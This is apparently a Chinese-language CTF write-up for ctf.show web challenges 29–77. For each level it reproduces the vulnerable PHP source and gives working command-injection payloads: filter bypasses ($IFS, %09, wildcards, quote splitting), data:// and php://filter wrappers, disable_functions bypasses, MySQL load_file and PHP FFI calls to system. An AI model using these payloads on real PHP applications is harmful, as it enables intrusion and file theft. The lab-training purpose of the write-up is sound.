web29
<?php
/*
\# -*- coding: utf-8 -*-
\# @Author: h1xa
\# @Date: 2020-09-04 00:12:34
\# @Last Modified by: h1xa
\# @Last Modified time: 2020-09-04 00:26:48
\# @email: h1xa@ctfer.com
\# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了flag,直接cat *.php
?c=system(‘cat *.php’);
web30
<?php
/*
\# -*- coding: utf-8 -*-
\# @Author: h1xa
\# @Date: 2020-09-04 00:12:34
\# @Last Modified by: h1xa
\# @Last Modified time: 2020-09-04 00:42:26
\# @email: h1xa@ctfer.com
\# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这次过滤了system,用?c=echo shell_exec('cat fl``ag.p``hp');
这里我刚开始用?c=echo exec('ls');
发现只有index.php,并且?c=echo exec('cat fl``ag.p``hp');
之后也只有$flag = ‘flag{28bba894-7025-47a3-a269-e98f60f6bfce}’;
问过羽大佬之后才知道是exec和shell_exec的区别,exec只返回结果的最后一行,而shell_exec返回完整结果。
参考http://www.manongjc.com/article/1992.html
web31
<?php
/*
\# -*- coding: utf-8 -*-
\# @Author: h1xa
\# @Date: 2020-09-04 00:12:34
\# @Last Modified by: h1xa
\# @Last Modified time: 2020-09-04 00:49:10
\# @email: h1xa@ctfer.com
\# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了空格和单引号,cat也不能用,用%09代替空格绕过
?c=echo(`nl%09*`);
还有几个代替空格的,但是这里没用:${IFS}、$IFS$9、<>、<
web32-36
<?php
/*
\# -*- coding: utf-8 -*-
\# @Author: h1xa
\# @Date: 2020-09-04 00:12:34
\# @Last Modified by: h1xa
\# @Last Modified time: 2020-09-04 00:56:31
\# @email: h1xa@ctfer.com
\# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这次直接连echo都直接过滤了,包括括号也过滤了,php中不用括号的函数有echo、print、die、include、require、include_once、require_once,用include函数和post传伪协议构成payload
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
后面的33-37基本都差不多,同一个payload
web37
<?php
/*
\# -*- coding: utf-8 -*-
\# @Author: h1xa
\# @Date: 2020-09-04 00:12:34
\# @Last Modified by: h1xa
\# @Last Modified time: 2020-09-04 05:18:55
\# @email: h1xa@ctfer.com
\# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
过滤了flag,然后包含出来,用data协议
?c=data://text/plain,<?php system('cat f*');?>
web38
<?php
/*
\# -*- coding: utf-8 -*-
\# @Author: h1xa
\# @Date: 2020-09-04 00:12:34
\# @Last Modified by: h1xa
\# @Last Modified time: 2020-09-04 05:23:36
\# @email: h1xa@ctfer.com
\# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
}
}else{
highlight_file(FILE);
}
在37的基础上过滤了php和file,data协议用base64加密一下
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==
web39
<?php
/*
\# -*- coding: utf-8 -*-
\# @Author: h1xa
\# @Date: 2020-09-04 00:12:34
\# @Last Modified by: h1xa
\# @Last Modified time: 2020-09-04 06:13:21
\# @email: h1xa@ctfer.com
\# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
在之前的基础上加了.php后缀
?c=data://text/plain,<?php system('cat f*');?>
web40
<?php
/*
\# -*- coding: utf-8 -*-
\# @Author: h1xa
\# @Date: 2020-09-04 00:12:34
\# @Last Modified by: h1xa
\# @Last Modified time: 2020-09-04 06:03:36
\# @email: h1xa@ctfer.com
\# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
啥也看不懂,大佬的wp都看不懂,先看羽师傅的wp
又是看不懂的东西,首先session_start()函数初始化session,然后引用session_id,构造system(ls);
俺照着试了试确实能行,但是也确实不能cat flag
如羽师傅所说因为session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的。
接着看第二个解法读文件+数组改造
又是一大堆奇奇怪怪的函数,第一个函数localeconv():查找美国本地的数字格式化信息,返回内容为
pos()函数:pos()函数是current()函数的别名,它可返回数组中当前元素的值。在这里它返回了
localeconv()函数返回数组中的第一个元素.
scandir():列出指定路径中的文件和目录,这里构造的是scandir(.)。
现在的返回值是
array_reverse():返回单元顺序相反的数组,这里的作用就是把两个php文件提到前边
next():将数组中的内部指针向前移动一位 ,就是把数组中第二个元素提前一位并且返回,在这里是把flag.php提到第一位并返回
然后highlight_file()函数将flag.php中的内容返回
web41
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date: 2020-09-05 20:31:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show
*/
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
这个题还是看羽师傅的wp吧https://wp.ctf.show/d/137-ctfshow-web-web41
这个里边贴了个rce_or.php和exp.py,将这两个文件放在一起,然后在powershell里边
python exp.py url
python exp.py http://c47ca7f9-4c4f-4dde-8391-aa40c7496adf.chall.ctf.show/
就这么用,具体自己研究研究,俺也没弄太懂,还要再瞅瞅
web42
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
关键代码>/dev/null 2>&1
>/dev/null 2>&1
//会将标准输出,错误输出都重定向至/dev/null,也就是全部丢弃
也就是说所有的输出都被丢弃了
payload:
?c=ls%0a
?c=cat%20flag.php%0a
这里用%0a换行,还有用;分割,||分割。
参考资料:
https://blog.csdn.net/qq_32419007/article/details/80187962
https://blog.csdn.net/xiaoABClong/article/details/95973140
还有atao师傅的这篇文章,总结的超级好(膜!):
https://www.cnblogs.com/erR0Ratao/p/13640600.html
web43
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
emm。。过滤了;可以用%0a和||,过滤了cat可以用nl
payload:
?c=ls||
?c=nl%20flag.php||
web44
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
又把flag过滤了,可以用*
payload:
?c=ls||
?c=nl%20fl*g.php||
或者是
?c=nl%20`ls`||
web45
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这个把空格也过滤了,用空格绕过$IFS之类的,具体参考上边atao师傅的博客
payload:
nl$IFS`ls`||
这里有一点很奇怪,*通配符不能与IFS或<不能一起使用
web46
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
又把$过滤了,就用<绕过
?c=nl<fl``ag.php||
web47
同上
web48
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:06:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
禁了反引号用单引号
?c=nl<fl''ag.php||
web49-51
同上
web52
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
<被过滤了,用${IFS}
?c=nl$IFS/fl''ag||
web53
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
?c=nl${IFS}fl%27%27ag.php
web54
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这一题过滤了常用的命令,但是还有一个paste命令
paste 指令会把每个文件以列对列的方式,一列列地加以合并。
?c=paste${IFS}f???.???
还有一个grep命令
Linux grep 命令用于查找文件里符合条件的字符串。
在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令:
grep test *file
?c=grep${IFS}%27f%27${IFS}fl??.php
或者
?c=/bin/?at${IFS}f?????hp
web55
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
a-z都给禁了…俺啥也不会,直接放大佬的文章
https://blog.csdn.net/qq_46091464/article/details/108513145
主要是通过POST上传数据包,然后通过点命令去执行
还有下边这篇文章,讲了一个更简单的方法
https://blog.csdn.net/qq_46091464/article/details/108555433
通过数字去匹配base64命令和bzip2命令
web56
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
同55
通过POST上传数据包,然后通过点命令去执行
web57
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-08 01:02:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
构造36
${_}:输出上一次命令执行的结果
$(()):做运算
$((“”)):值为0
$((~$((“”)))):值为-1
payload”
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
web58
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
payload
c=show_source('flag.php');
c=highlight_file("flag.php");
c=echo file_get_contents("flag.php");
c=readfile("flag.php");
c=print_r(file("flag.php"));
c=copy("flag.php","flag.txt");
c=rename("flag.php","flag.txt");
web59
禁用了 file_get_contents()、readfile()
c=show_source('flag.php');
c=highlight_file("flag.php");
c=print_r(file("flag.php"));
c=copy("flag.php","flag.txt");
c=rename("flag.php","flag.txt");
web60
禁用了 file()
c=show_source('flag.php');
c=highlight_file("flag.php");
c=copy("flag.php","flag.txt");
c=rename("flag.php","flag.txt");
web61-63
禁用了 copy()、rename()
c=show_source('flag.php');
c=highlight_file("flag.php");
web62-65
c=show_source('flag.php');
c=highlight_file("flag.php");
web66-67
禁用了show_source(),并且flag不在flag.php
查看文件
c=var_dump(scandir("/"));
c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };
flag在flag.txt
c=highlight_file("/flag.txt");
c=include("/flag.txt");
c=require("/flag.txt");
web68-70
highlight_file()居然也被禁了
c=include("/flag.txt");
c=require("/flag.txt");
web71
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
将输出的字母和数字都替换成了? ,可以用exit();终止脚本的执行,从而让替换代码失效。
c=include("/flag.txt");exit();
c=require("/flag.txt");exit();
web72
这题太难了,俺啥也不会,直接上大佬的博客
https://blog.csdn.net/miuzzx/article/details/108619930
https://blog.csdn.net/qq_46091464/article/details/108891975
只说我遇到的问题
读文件的poc,羽师傅用的是
$a=opendir("glob:///*"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };exit();
可以直接用
Firebasky大佬的poc
c=?><?php
$a=new DirectoryIterator("glob:///*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
因为中间用了换行,所以我用hackbar直接复制粘贴不行,要去掉换行
然后uaf的脚本中的特殊字符需要进行url编码(bp里有这个功能)
web73
上边的两个列目录的poc还能用
有flagc.txt,然后读文件还是之前的poc
c=include("/flagc.txt");exit();
c=require("/flagc.txt");exit();
web74
同web73,flagc.txt变成了flagx.txt
web75
列目录的poc还能用,flag36.txt
读文件用mysql load_file
c=try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
foreach($dbh->query('select load_file("/flag36.txt")') as $row) { //flag36d.txt
echo($row[0])."|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
die();
}exit();
web76
同web75 flag36d.txt
web77
flag36x.txt
c=$ffi = FFI::cdef("int system(const char *command);");$ffi->system("/readflag > flag.txt");exit();
参考资料:利用PHP中的FFI扩展执行命令